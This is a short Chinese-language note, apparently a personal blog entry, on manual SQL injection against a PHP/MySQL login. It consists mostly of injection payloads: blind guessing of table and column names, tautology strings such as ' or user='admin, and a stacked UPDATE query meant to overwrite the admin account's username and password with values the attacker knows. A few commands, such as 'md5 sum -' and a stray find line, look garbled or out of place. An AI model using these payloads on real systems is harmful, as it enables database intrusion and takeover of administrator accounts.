昨天猜解完列名之后,就可以猜解表名
' and table.user is null--+ 列名前面加个点,在加表名称,就可以猜
find / -name "*table*".txt
' and (select count(*) from a)>0--+ 这种逻辑运气好的话,会爆出当前数据库名字。可以暴力猜表名
' and users.user is null--+ 根据上面猜出来的表名和列名,进行组合猜解
' or user='admin 若是存在admin,就会返回真,否则假。这里不能用-- 因为,用这个会把user当成未猜解列名
' or user like '%a% 只要字段里面有数据包含a的,那就为真,会爆出来相关有a的信息
若是数据库有写入权限,即使权限很低,但是是否可以写入一个账号和已知的md5加密后的密码呢?
echo 'password' | md5 sum - 这是linux中算md5的方法,和mysql的md5()算法还不一样
因此,需要用mysql的md5()去计算我们知道的密码,然后想办法存到数据库中
'; update users set user='xxx' where user='admin 通过这条用set更新表内容的方法,可以将admin的账号密码都改成我们知道的
hexorbase是kali中的一个破解数据库的工具,但是这个工具也无法保证上面的语句执行成功,这是程序员编写的原因。同时,有的php程序员这里的功能也没有写的完全好,就会导致在本地可以正常执行上面的语句,而用户在输入端就无法执行这样的语句。所以,这里如果程序员PHP代码写的有问题,那么在这个地方安全性就会更高一点。。。。
网友评论